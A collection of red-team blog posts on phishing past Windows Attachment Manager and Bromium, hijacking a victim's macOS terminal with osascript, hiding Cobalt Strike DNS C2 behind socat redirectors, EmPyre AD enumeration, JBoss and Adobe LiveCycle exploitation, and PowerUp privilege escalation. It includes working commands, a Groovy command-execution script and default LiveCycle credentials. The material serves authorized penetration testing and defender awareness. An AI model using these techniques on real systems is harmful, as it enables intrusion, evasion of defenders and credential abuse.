Bypassing Windows Attachment Manager

Starting with Windows XP Service Pack 2, Microsoft introduced the “Windows Attachment Manager”. This feature will “block” certain file types from being executed after downloading over the Internet. “If the attachment is in the list of high risk file types and is from the restricted zone, Windows blocks the user from accessing the file. If the file is from the Internet zone, Windows prompts the user before accessing the file.”* When a file is downloaded from the Internet and it’s one of the high-risk file types, Windows creates an alternate data stream to identify the file and apply the block. I’ll show you this more in a bit.

While this is a great safety feature for end-users, it obviously poses issues when trying to deliver certain phishing payloads on an offensive security engagement. I decided to do a little research on what types of payloads might not get blocked by the Windows Attachment Manager feature.

Starting off, I wanted to find a list of file-types that will be blocked upon download. Microsoft is nice enough to provide this list for us

The types are:


I noticed there’s a few file types that aren’t blocked and began to wonder if we can leverage those non-blocked file types to execute the blocked types.

I decided to start by using the built-in makecab.exe command to compress my payloads with the mindset of “living off the land”.  For payloads, I created a malicious .LNK file using a Create-LNK by @enigma0x3. I also created a malicious .CHM file using Out-CHM from the Nishang project. Both of these payloads are typically blocked after downloading by the Windows Attachment Manager. Next, I used makecab.exe to compress these payloads and hosted them on my Cobalt Strike Server.

Now that my payloads are hosted and ready for downloading. I used a Windows 10 VM and the Chrome Browser to download and uncompress each file. Right-clicking each downloaded payload and looking at properties, we can see that the .chm was still labeled as “blocked” and the .lnk was not!

Here is the difference with Alternate Data Streams (ADS) shown by the sysinternals tool streams64.exe:

If I execute each payload, the .chm should be blocked from calling back to the Cobalt Strike server while the .lnk file executes fully.

I’m not quite sure why the Windows Attachment Manager is inconsistent across different file types though. There definitely is more research to be done in this area but, I hope this post brings a little awareness for defenders and offensive testers alike.




Phishing Against Bromium

The purpose of this post is to re-iterate that no single solution should be relied upon as a one-stop solution against all attackers. I respect the advances Bromium has made in security however, a defense-in-depth approach should always be taken regarding enterprise security.

Note: This information represents a snapshot in time. The Bromium suite has “hopefully” remediated these issues.

This blog post covers an assessment against a network utilizing the Bromium Endpoint Protection suite. If you’re not familiar with Bromium, there’s a good whitepaper HERE. For now, what you need to know is that it’s an antivirus/antimalware suite that takes it a step further and opens “most” executable’s, office documents and browsers inside micro-VM spaces to “prevent” exploitation to the host machine.

I identified that the organization was using Bromium by enumerating LinkedIn profiles. I first decided to use a custom (HTML Application) HTA. While Cobalt Strike has the ability to generate HTA’s directly, I wanted to make sure that mine executed a fully-staged payload and would get past any proxies or internal filters. I generated a fully-staged PowerShell payload in Cobalt Strike and hosted it on a team server so that it was available to the Internet. A fellow co-worker and I came up with an HTA profile that would include all of the information needed to get through most internal filters and proxies. You may find the code HERE.

After sending the phishing email, about 30 minutes passed and I noticed the Cobalt Strike web log was receiving hits to the fully-staged PowerShell payload and shortly after, I had beacons calling back. Success! I’ve successfully phished a Bromium protected endpoint by utilizing the HTA executable.

Next, I performed my usual enumeration steps, checking what is my current access level, and what is the host connected to on the network. After a quick “netstat –an |findstr “EST” in the established Beacon, I noticed every host was connected to port 80 on one specific server. I set one beacon to sleep at 0 seconds and started a SOCKS tunnel. After directing my browser through the proxy to the target host on port 80, we were greeted with the login page for the “Bromium Enterprise Controller”.

Most of you know what’s going to happen next. Yes, the login was admin:admin and I was logged in as the administratos of the entire infrastructure’s Bromium management console. From here I could monitor the blue team’s actions, what payloads of mine may be being flagged and even stop Bromium vSentry on any host in the organization. I immediately noticed that the blue team had flagged my “HTA” as an executable document and successfully burned that payload for any future phishing campaigns. Knowing that the blue team was quick to react to our phishing campaigns and block payloads, I decided to exercise them with one more phishing campaign and a new payload.


This time I decided to utilize a Microsoft Compile HTML (CHM) payload. These files are executable and pop little help screens. Creating one requires installation of “HTML Help Workshop”. There is a great script that is part of the Nishang framework for compiling these quickly HERE. My phishing ruse this time was to be a “Phishing Alert: Corrective action required” email. My payload was disguised as a Bromium update package and the email was spoofed to come from the lead security official within the organization. Again I hosted the .chm file in Cobalt Strike for a web delivery. One important thing to note with sending out CHM files this way. When the user downloads the file, they have to right-click the .chm file, select properties and check the “unblock” box. What? Who would go through all that trouble? Well, after sending a few more emails I was greeted with more beacons! Remember, with the proper ruse, people will do what you ask them to do.

That’s the conclusion of my story about phishing against Bromium. I was able to successfully bypass the seemingly default settings of Bromium to gain a foothold on my target domain. Defenders, don’t rely on a single solution to block everything. It only takes hackers one time to be right. I hope this story helps others exercise their client’s defenses and everyone learns some valuable lessons.



Interacting with MacOS terminal windows for lateral movement

Recently, I had a situation where the possibility of manipulating a MacOS terminal window through Empire might lead to lateral movement to a restricted area. Typically, I may “backdoor” an ssh configuration file as described here in order to “ride” an ssh connection to a high-value target. Sometimes, this may not be possible if time does not permit or MaxSessions is set on the sshd_config file. In this case, it may be useful to manipulate your target’s own terminal screen to execute commands on a remote host that they are ssh’d into.

Case study:

Our target is operating on MacOS, we have compromised their host using the Empire python RAT. Our target is ssh’d into a restricted host that we want access to. The server we want access to has restricted the max number of ssh sessions with the “MaxSessions” setting in the sshd_config file so that even if we backdoor the user’s ssh config file, we won’t be able to ride the session. What do we do? Enter osascript.

There’s a ton of resources if you google sending commands to a terminal window with osascript but, I’ll reference this post.


First, we’ll start with a simple setup of an Empire server running on a public IP.



Next, we’ll assume breach for this exercise and start with an agent running on a MacOS host.



In order do execute our payload on our restricted host, we’ll need to first generate a payload. We’ll host this payload on our external server using “python -m SimpleHTTPSever 8080”.


After a little enumeration using netstat and we find that our target is ssh’d into a high-value target that we want access too.


So what do we do here? Our target has access to the HVT that we need access to but, we can’t ride this access. Let’s decide to do something bold and send a command to their terminal screen. (Best done when they are away, perhaps at lunch). Using osascript as shown below, we can send a command to the terminal screen that is ssh’d into our target to download our payload to the remote host.


The following shot shows the victim’s terminal screen downloading our payload on the remote Vultr “HVT” that we wanted access too.


Now that we’ve successfully downloaded our payload to the remote HVT, we can send a few more commands to make our payload executable and run it on the remote host. As you can see the end result is a new Empire agent coming from our HVT that we previously did not have access too.

Now, if your target user comes back from lunch and see’s this activity in their terminal screen, you’re obviously going to have a bad day. So, we can just clear their terminal screen with the following command and hopefully, they won’t be the wiser:

“shell osascript -e ‘tell application “Terminal” to activate’ -e ‘tell application “Terminal” to do script “clear” in window 1′”

Keep in mind this is just one possible way to use Empire and osascript to reach otherwise restricted targets. Hopefully, others find this useful. Good luck and hack wisely!

Redirecting Cobalt Strike DNS Beacons

While conducting a Red Team assessment, many factors come into play that result in success or failure of the operation. One such factor is keeping your Command and Control (C2) infrastructure hidden from the opposing (Blue) team. If your C2 is found and blocked, that may be the end of your assessment. At least, it’ll slow you down while you re-roll infrastructure (which is NOT fun). Using pure DNS traffic with Cobalt Strike is one layer to hide your communications from endpoint to C2; however, if the blue team is able to conduct a recursive DNS lookup to find your team server, you’re hosed! We can prevent the blue team from conducting these reverse lookups by using a host that redirects and “hides” our traffic with some network-bending kung fu.

During my research, I found a handy write-up on a few ways to bend DNS traffic the way that we need to for Beacon traffic here. I want this post to be as comprehensive for users as possible. It is my goal for this to be used as a reference guide so, I’ll be covering starting from creating your DNS record to setting up your Cobalt Strike DNS listener and all points between.

Let me start by saying that I do not have any affiliation or preference with the service providers I am using in this post.  Use what you’re comfortable with.

To get started, we need to have a server running our Cobalt Strike team server and a server running as our redirector. Like so:


I recommend having your Cobalt Strike team server on a completely different subnet than your redirector. You can use the same VPS service to spin up both servers, but I recommend going the extra mile and using separate VPS providers for each server. If your redirector is somehow burned by the blue team, they may not only block your IP or range, but some have gone the distance to block VPS provider ranges completely.

We will need to create two DNS records to point to our infrastructure. Since we want our traffic to flow through our redirector, we’ll want to point our first “A” record to the redirector, not our team server. Then, we can create a Name Server(NS) record that points to our domain. The logic here is that when a query is done for our domain, our records tell the query that our name server will resolve the IP for you. Here is an example setup:


Now, if we conduct an nslookup, we’ll see that it does not currently resolve to anything.


Next, we start our team server and setup a DNS listener. SSH into your team server and change to your Cobalt Strike directory. To start your team server, run “./teamserver <external IP> <password>”. Now, from any location, firewalls permitting, you should be able to connect to your Cobalt Strike team server.

We need to setup our “DNS Server”. Cobalt Strike has a built-in DNS listener that will do just that and wait for incoming Beacons as well. Navigate from the “Cobalt Strike” menu to the “Listeners” option. Give your listener a name, select “windows/beacon_dns_reverse_dns_txt”, set your host IP address if it’s not already filled in and provide a port. This port is arbitrary for straight DNS but, would be used if the mode is changed to “http_txt”.


You will then be prompted to provide a domain for Beacon taskings. Fill out the prompt as shown:


That completes our setup of Cobalt Strike.

Next, we’ll move on to the network bending-fu needed to tunnel our DNS traffic from redirector to team server.SSH into your redirector and sudo to root. We need to start by installing some packages. Use “ apt-get install -y socat screen” to conduct the installation. This will install socat, which is our traffic redirecting tool. It will also install screen, which allows us to run our commands in attachable/detachable terminal screens for easy management. With setup complete, we’ll start bending our traffic!

First, we want to run the following two commands to start a screen session and execute our socat redirector in it. Type them exactly as shown.

screen -dmS socat

screen -S socat -p 0 -X stuff ‘socat udp4-listen:53,reuseaddr,fork tcp:localhost:53535; echo -ne \n’

A quick breakdown of the socat command. socat will listen on port 53 for any UDP traffic. It will then fork every packet that comes in and relay it over TCP to local port 53535. The “echo -ne \n” command just hits enter for you in your screen to execute the command.

Next, we want to tunnel this traffic securely to our Cobalt Strike team server. The next two commands will start a screen session and execute our SSH tunnel with port forwarding to the team server as needed. Replace “ssh_key”, “username” and “teamserver_ip” with your relevant values.

screen -dmS ssh1

screen -S ssh1 -p 0 -X stuff “ssh -i ssh_key -oStrictHostKeyChecking=no -L 53535:localhost:53535 -l username teamserver_ip; echo -ne \n;”

This SSH command will automatically accept the fingerprint prompt by setting StrictHostKeyChecking to “no”. Then, it will redirect your traffic from port 53535 to the same port on the remote team server over TCP All securely wrapped in our SSH tunnel.

Finally, we need one more command to start socat on our Cobalt Strike team server. The following command will SSH to the team server and execute socat for us.

ssh -oStrictHostKeyChecking=no -i ssh_key -l username teamserver_ip ‘socat tcp4-listen:53535,reuseaddr,fork UDP:localhost:53 &’

This socat command takes the UDP traffic that we’ve forced through our TCP tunnel on port 53535 and then re-forks that back to UDP port 53. At this point, our Cobalt Strike team server listening on port 53 will happily pick up that traffic for us!

Once this is all complete, an nslookup should provide the following results:



Success! This tells us that our Cobalt Strike server is successfully responding to lookups through the redirector. The Blue Team will be in the dark on exactly where your team server C2 resides! Also, if for some reason your redirector is blocked or burned, you won’t need to rebuild your team server. Just spin up a new redirector and DNS records.

I hope this post provides useful information for both sides of the spectrum. Feel free to ping me on twitter should you have any questions @424f424

EmPyre:Engaging Active Directory

This post is part of the ‘EmPyre Series’ with some background and an ongoing list of series posts [kept here].

This post will cover utilizing EmPyre to enumerate and engage Active Directory services. We’ll cover how to find the domain controller, enumerate users and groups, and inject Kerberos tickets into our session.

EmPyre provides modules to perform enumeration against Active Directory using the ldapsearch tool. This tool comes loaded by default on OS X and most Linux distributions. Using ldapsearch, we can mimic many of the functions of the popular PowerView PowerShell script to enumerate objects in Active Directory.  Active Directory enumeration modules can be found under “situational_awareness/network/active_directory/” module store.


To perform LDAP queries we’ll need a few bits of information to get started. First, we need the address of the domain controller or LDAP server to authenticate to. One simple way to get this address is to perform an nslookup as seen below.


Next, we need credentials to authenticate to the domain. This post won’t cover in-depth credential collection as that was just coverd by @killswitch_gui here.  We’ll just assume we’ve captured the user jfrank’s password. We’ll start by opening the get_computers module. Once in the module, type “info” and press enter. Here, we can populate the information required by the module. Note: The BindDN is simply the username@domain. Once the required information is filled in, we can type “execute” and press enter to begin the LDAP query.



The results of the get_computers module will be a listing of each computer object in Active Directory. It’s good to keep in mind that each LDAP query requires authentication to the domain. With each authentication, we create evidence of our presence on the network.


Recently, @passingthehash tweeted about using overpass-the-hash from Linux to obtain a valid Kerberos session with a domain. The addition of Kerberos authentication gives us a bit more flexibility to authenticate to the domain from various operating systems. Unfortunately, OS X does not have many built-in tools to work with Active Directory. While we can use overPTH to authenticate to the domain from OS X, there’s not much we can do (that I’ve found) using that Kerberos ticket. With that in mind, I’ll show you an example of using the Kerberos_inject module through an EmPyre agent on a Linux host that is on the same subnet as a domain. This will allow us to use an NTLM hash to create a Kerberos ticket and inject it into our EmPyre session.


Yes, amazing. Let’s give this a try. First, we need an NTLM hash. Of course, there are many ways you could obtain this so, we’ll just assume we have one for jfrank again. This module is not opsec safe, as the keytab is saved, by default, to the remote /tmp directory prior to injection. Keep in mind you’ll need to clean that file up afterwards. Next, let’s initiate the module with “usemodule management/multi/kerberos_inject” and fill out the required information. Finally, we can execute the module and inject a Kerberos ticket into our session.


Through our EmPyre agent, we are able to inject the user’s credentials into our session and list drives on the domain controller!

Hopefully, this post will be of some help when you’re engaging Active Directory while pivoting through compromised Linux or OS X hosts. You should now be able to find the domain controller, search Active Directory, and inject Kerberos tickets to mimic legitimate users. This access should provide you with the needed access to move further through the target network. Stay tuned for more posts in the EmPyre series!


Bug Hunt: Out of Band Resource Loading

On a recent bug hunt targeting *, I found a small flaw in one of their external-facing web servers. While enumerating publicly available web servers belonging to Adobe, I found a web application labeled “Target DB Browser”.


This interface looked to be a front-end application to query a database. Unfortunately, every query I performed resulted in “Error: unable to retrieve response. This meant that the front-end application was not actually connected to a live database. I decided to inspect the request and response a bit further by using the BurpSuite proxy tool to inspect the traffic. I found the application to be performing a simple GET request to a specified IP address. On my Virtual Private Server (VPS) , I started “tcpdump” and replaced the specified IP address in the GET request with that of my VPS address to test for the possibility of an external request. Once I clicked the “query” button, I was greeted with traffic on my VPS from the server hosting the application.



PortSwigger classifies this type of finding as “Out-of-band resource load” here.

Out-of-band resource load occurs when a payload submitted to the target application causes it to fetch content from an arbitrary external domain using some network protocol, and incorporate that content into its own response to the request that contained the payload.

An attacker may use this flaw to conduct denial of service attacks on other sites by causing the application to continuously request resources elsewhere.

While this vulnerability does not impose a major risk for Adobe, it does provide for the possibility of unintended resources being utilized on the Adobe server or for reflecting a Denial of Service attack to other addresses on the internet. Adobe has since closed this bug report. If you’re assessing web applications for work or profit, keep in mind that anytime you can replace an IP address in a request, this may be an issue to look for. Happy hacking!

Operating with EmPyre

If you’re reading this post, I sincerely hope you’ve already started with reading @harmj0y’s first blog post about EmPyre located here:

This post is second in what will be a great series to help user’s understand and operate using EmPyre. Let’s get started!

Operating in an OS X environment may seem like a daunting task. Many people are under the assumption that merely using a Mac computer makes you or your organization secure. This blog post will cover why that is not necessarily true, how an attacker can effectively operate in an OS X or mixed environment and what defenders can do to avoid having their OS X infrastructure breached.

Every year, CVE Details reports on the number of distinct vulnerabilities found in software and operating systems. In 2015 OS X topped the list with a recorded 416 reported vulnerabilities.



Compare that to Windows Server 2012’s 155 and you can see a huge difference in statistics. Operating from an OS X platform certainly does not mean you are more secure these days. Malware authors have taken notice to the rising market share of the OS X operating system and the numbers of malware for OS X are also climbing. In 2016, Carbon Black released a report titled “2015: The Most Prolific Year for OS X Malware”. In this report, Carbon Black research found 948 malware samples compared to 180 total for the years 2010 to 2014. Attackers are certainly finding ways to operate on the OS X platform.



As an attacker or security tester, options have been very limited on how to conduct operations against targets utilizing OS X. The Italian security firm “The Hacking Team” utilizes home-grown implants known as the Remote Code Systems (RCS) compromise platform to operate on OS X environments. For the rest of the world, you either have to create your own Remote Access Trojan or find another method for continuous operations. Enter EmPyre, an OS X/Linux offshoot of the PowerShell Empire project.


EmPyre was initially developed by @harmj0y in response to a client’s need for testing OS X platforms. The initial post on EmPyre may be found here containing more details of the RAT’s infrastructure and communications platform. I’m going to cover some of the tradecraft that was built into the RAT to support continuously operating in an OS X environment.

While operating from an OS X environment brings its own challenges, the methodology commonly used for penetration tests or red teams still applies.


During a penetration test or red team, gaining access can either be manually seeded by the client Point of Contact (POC) or phishing may be required. If you must conduct phishing to gain access, options are limited in comparison to those available to testers targeting Windows systems. Currently, EmPyre supports two payloads that may be used in a phishing attack. These payloads are Microsoft Office macros or an HTML page that calls an Applescript launcher based on CVE 2015-7007.

OS X environments provide some native situational awareness commands that typically aren’t available on other operating systems. Some examples are “pbpaste” for grabbing clipboard contents, “screencapture” for grabbing screenshots, and “curl” which and be useful for downloading files or data exfiltration. For the EmPyre RAT, we’ve used some lessons learned during operations to decrease the chances of detection. We’ve also taken these native methods and created non-native Python modules that perform the same action and are harder to detect. With EmPyre you’re also able to run port scans, query active directory, dump hashes, and perform all the standard post-exploitation functions.


Privilege escalation from EmPyre is currently limited to spawning an agent using the “sudo” command. There have recently been several local privilege escalation exploits released for OS X in 2016. These have yet to be built into EmPyre and would be great way for the community to provide support to the project.

OS X has several mechanisms available to obtain persistence. Cronjobs allow for time-based persistence, login hooks allow for user login persistence, launch daemons that persist through reboots and much like Windows DLL hijacking, there’s DyLib hijacking based on the research of @patrickwardle. All of these methods have been built into EmPyre.

Finally, lateral movement is the last portion of tradecraft to cover. With Windows, there are many luxuries such as WMI, Pass-the-hash, executing files over UNC, WinRM and Remote Desktop Protocol. OS X provides us with SSH, if it’s enabled. Lessons learned from engagements show that it is usually turned on in a corporate environment as administrators need to admin somehow. EmPyre has modules to either launch SSH commands or send a launcher string for a new agent to a remote host. Pivoting from OS X to Windows becomes even trickier as there currently isn’t a solid Pass-the-Hash solution for OS X. EmPyre does, however, have a module to exploit JBoss on Windows via Java Serialization and that can send an agent callback to another Empire server.

In closing, we now understand that organizations who utilize OS X as a security boundary may not be doing themselves justice without a proper defense-in-depth approach. As research shows, OS X is prone to vulnerabilities just like other operating systems and software. With the proper tools such as EmPyre, a security tester can effectively perform security testing through a pure OS X or mixed environment. What does this mean for the blue teams out there? Email filters, blocking macros, host-based protection, network heuristics and log aggregation all still play in the defense-in-depth approach. We know that OS X has several commands that we should look for. Most of your users aren’t going to be running “pbpaste” from the terminal. Most users aren’t going to curl data out of your network either. Monitoring for subtleties like this can be a huge tip-off of malicious activity in the network.

Stay tuned for more in-depth blogs from other ATD members!

Get started with EmPyre here


Exploiting JBoss with Empire and PowerShell

When Empire was initially launched by @harmj0y and @sixdub at BSidesLV, I was immediately excited about the possibilities that a pure PowerShell RAT would bring to the offensive community. With what little free time I have, I’ve been working to add a few modules that have been inspired by recent engagements I’ve been on. This post will cover how to enumerate and exploit an internal web service through a deployed Empire agent without port scanning.

In this demonstration, I have an empire agent running on a Windows 7 host. The plan is to quietly enumerate the network for vulnerable web services and exploit one to move laterally.


First, I load the recon/find_fruit module and set the required options. The find_fruit module accepts CIDR ranges as well as single hosts. The module is also multi-threaded with a default setting of ten threads. One thing that makes this module great for red teaming or quieter penetration testing, is that unlike port-scanning, it uses legitimate web requests to check for web services that we commonly target such as Apache Tomcat, JBoss, Cold Fusion and more. The module will also accept a custom dictionary if desired. Kicking off the module I quickly find some “low hanging fruit” on a host in my target range.


Next, I want to create a payload and exploit the JMX-Console. Thanks to a stager by @ch33kyf3ll0w, Empire has the ability to generate java .war files for deploying agents. If you’re doing this outside of Empire, you can also generate a .war file using another @harmj0y script at


Here I host the .war file with the python SimpleHTTPServer module. This is necessary as the jmx-console exploit will reach out to grab this file and deploy it on the target server.


Finally, I load the exploitation/exploit_jboss module and set the required options. I start by setting the JMXConsole switch to “true”. Next, The AppName needs to match the AppName I used when generating the .war file. I point the WarFile to my Python hosted file. Since I am tunnelling this exploit through an already deployed agent, I need to set the Agent option to deploy the exploit from. Empire will also let you know if this module is “opsec safe”, meaning it drops a file to disk.


Once the exploit is launched, I first see the HTTP request from the target server to grab the hosted .war file. After a few seconds, I am greeted by a new Empire agent!

If you’re looking for a way to enumerate and exploit internal web services without the noise of port-scanning, give this a try. The standalone Find-Fruit and Exploit-JBoss PowerShell scripts may be found on my github repository as well.



Leveraging Adobe LiveCycle

Adobe LiveCycle is an enterprise document and form platform that is being widely adopted by businesses and government agencies who are looking to centralize processes and document management capabilities. As with many web-based applications that connect to back-end systems, this provides additional attack surface that may be leveraged to gain a foothold into the target network. For defenders, this means ensuring LiveCycle administrators are exercising good security practices across the LiveCycle surface, which can be quite large as you’ll see in this post. LiveCycle works across many platforms as seen here and installations may vary. In this post, I’ll point out the areas of LiveCycle ES4 that may provide fruitful attack vectors to leverage on your next engagement.

LiveCycle has several access portals setup during the default installation that may provide access with default credentials. My experience has shown that Administrators have a tendency to change the main “adminui portal” password and overlook changing the OSGI administrative console password. Adobe was even kind enough to leave the OSGI console out of the “Next Steps” to perform after installation!

“OSGI provides developers with a way to create applications at a modular level, allowing the development and management of individual components that work together to form that larger puzzle as an adaptive and dynamic system.” – Source

This console provides a very useful scripting console which we can leverage to further attack the system and possibly gain a system shell. Let’s run through an example of this attack path.

OSGI Attack Path:

The OSGI login uses Basic Authentication and can be typically accessed at “http[s]://[hostname]:[port]/lc/system/console”. The default credentials for this portal are admin:admin.

OSGI - Login1

Next, select “Script Console” under the main menu tab as shown.

OSGI - Menu

Now we are prompted with the scripting console where depending on the target setup, we can run various scripting languages.

Now, we use this script found at

def command = “””executable arg1 arg2 arg3″””
def proc = command.execute()

println “return code: ${ proc.exitValue()}”
println “stderr: ${proc.err.text}”
println “stdout: ${}”

For example, we’ll call a simple directory command. Make sure you correctly escape as shown in the example and provide an absolute path for a Windows target. Linux targets will not require absolute paths.

OSGI - Win-Dir-CMD

In Linux you’ll most likely be an un-privileged user and need to escalate privileges. In Windows, we’re lucky enough that Adobe LiveCycle requires that the Administrator disable UAC during install and as you see next, should be running as system.

For this example, I decide to utilize PowerSploit to inject a reverse payload. Don’t forget to escape any additional quotes!

I had trouble with WP posting this as a code block so it’s an image.


OSGI - Win-Meterpreter

Workspace Attack Path:

On a recent engagement I found the client had a custom application built that was accessible via the workspace path. Using the default credentials of atanaka:password, I was able to access the application that was obviously still being built. The application utilized the MYSQL database and was vulnerable to SQL Injection. It may be worth enumerating any custom-built LiveCycle applications that you run across. The default credentials I used are listed below from the sample setup utility.

Default URLS and Logins

To access the Correspondence Management Solution, you can access the solution template by using the following URL and login information:
URL from another computer: http://[host name]:8080/lc/cm/
URL from another computer if SSL was enabled: https://[host name]:8443/lc/cm/

Default user name: administrator
Default password: password

To access Administration Console, use the following URL and login information:

URL from another computer: http://[host name]:8080/adminui
URL from another computer if SSL was enabled: https://[host name]:8443/adminui

Default user name: administrator
Default password: password

To access the CRX Package Manager, use the following URL and login information:

URL from another computer: http://[host name]:8080/lc/crx/packmgr/index.jsp
URL from another computer if SSL was enabled: https://[host name]:8443/lc/crx/packmgr/index.jsp
Default user name: administrator
Default password: password

To access Mobile Forms Installation Verification Sample (IVS) application, use the following information:

URL from another computer: http://[host name]:8080/mobileformsivs
URL from another computer if SSL was enabled: https://[host name]:8443/mobileformsivs

If you have installed and deployed Reader Extensions, access the web application as follows:

URL from another computer: http://[host name]:8080/ReaderExtensions
URL from another computer if SSL was enabled: https://[host name]:8443/ReaderExtensions

Default user name: administrator
Default password: password

If you have installed and deployed Process Management, access the Workspace web application as follows:

Flex Workspace:

URL from another computer: http://[host name]:8080/workspace
URL from another computer if SSL was enabled:https://[host name]:8443/workspace

HTML Workspace:
URL from this computer: http://localhost:8080/lc/content/ws
URL from another computer: http://[host name]:8080/lc/content/ws
URL from another computer if SSL was enabled:https://[host name]:8443/lc/content/ws

Default user name: administrator
Default password: password

Additional default credentials that may be installed. These credentials are available if the administrator utilized the Adobe Sample Setup Utility.


User Name
atanaka password LiveCycle Application Administrator
LiveCycle Workspace User
LiveCycle Contentspace Administrator
LiveCycle Contentspace User
jjacobs password LiveCycle Workspace User
LiveCycle Contentspace User
srose password LiveCycle Workspace User
LiveCycle Contentspace User
kbowman password LiveCycle Workspace User
LiveCycle Contentspace User


Powershell tools have become a must-have for security professionals in recent years. A few notable tools to mention are PowerSploit, Veil-PowerView, PowerUp and Nishang among others. These tools have each provided value to the Penetration Tester’s arsenal but, they require the tester to utilize some manual practices to employ them on target systems. It is one of my goals make Powershell tools a bit more automated and easier to use during penetration tests by utilizing the power of Cortana and Metasploit. As a result, I have created POSH-Commander to start bringing Powershell tools into the Armitage/Cobalt-Strike interface to improve speed and efficiency on engagements. There is an included Metasploit module remote_powershell.rb that may also be run independently to execute your remotely-hosted Powershell scripts.

In this scenario we are targeting a Windows 7 client connected to a Windows Server 2008 domain controller running Active Directory. The user is a standard domain user with no Administrative privileges. Once we have popped a Meterpreter shell, right-clicking on the host will present a POSH-Commander menu to select Veil-PowerView, PowerUp or a custom script.


For this demonstration, I am going to select PowerUp to see if we have any available options for privilege escalation.


With all modules, you will be presented with a text prompt if you would like to add additional arguments to the command. Please consult the directions in each script for possible arguments to use with each function. Here, I have selected to run the “Invoke-AllChecks” function with no additional arguments.


Once the results return, we see that we have permissions to write to the service-binary of the VMTools service. With this information, I can utilize the “Invoke-ServiceUserAdd” function in PowerUp to manipulate the service to add a local user in the Administrative group for us. This function stops the service, modifies it to create a user, starts the modified service to create our user, stops it again and restores it back to original. Pretty sweet huh?



We right-click the host again and select the PowerUp menu. You’ll notice, you’re provided a new tab for these results so that your previous results stay in their own tab. This time I opt to add arguments to the command as I need to specify the service to manipulate and click “OK” to run the module.


Success! The module has returned “True” telling me that the command has completed successfully and added the script’s default user “John” to the local Administrator’s group. Let’s check.


Interacting with a shell prompt, I run “net user” to check the local users on the target. You can see that “john” has been added to the local users.


This is just one of many possibilities utilizing Cortana/Metasploit and some very handy Powershell scripts. For more information on the scripts mentioned in this post, please visit the links below.